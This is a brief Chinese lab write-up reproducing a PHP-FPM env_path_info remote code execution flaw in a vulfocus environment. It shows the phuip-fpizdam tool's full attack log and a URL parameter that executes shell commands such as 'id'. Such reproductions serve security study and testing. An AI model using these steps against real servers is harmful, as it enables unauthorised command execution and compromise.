漏洞描述

PHP即“超文本预处理器”，是在服务器端执行的脚本语言，尤其适用于Web开发并可嵌入HTML中。PHP语法利用了C、Java和Perl，该语言的主要目标是允许web开发人员快速编写动态网页。该漏洞位于PHP-FPM模块的env_path_info函数，漏洞实际上是有个内存下溢破坏漏洞，攻击者利用该漏洞结合其他漏洞利用可以让攻击者在有漏洞的web网站上执行任意代码。

漏洞环境

vulfocus

漏洞复现

使用 https://github.com/neex/phuip-fpizdam 中给出的工具，发送数据包：

phuip-fpizdam>go run . <http://123.58.236.76:64654/index.php>
go: downloading github.com/spf13/cobra v0.0.5
go: downloading github.com/spf13/pflag v1.0.3
2022/04/22 15:44:36 Base status code is 200
2022/04/22 15:44:38 Status code 502 for qsl=1765, adding as a candidate
2022/04/22 15:44:39 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2022/04/22 15:44:45 Attack params found: --qsl 1755 --pisos 177 --skip-detect
2022/04/22 15:44:45 Trying to set "session.auto_start=0"...
2022/04/22 15:44:47 Detect() returned attack params: --qsl 1755 --pisos 177 --skip-detect <-- REMEMBER THIS
2022/04/22 15:44:47 Performing attack using php.ini settings...
2022/04/22 15:44:48 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2022/04/22 15:44:48 Trying to cleanup /tmp/a...
2022/04/22 15:44:48 Done!

Untitled

访问：http://123.58.236.76:64654/index.php?a=id

Untitled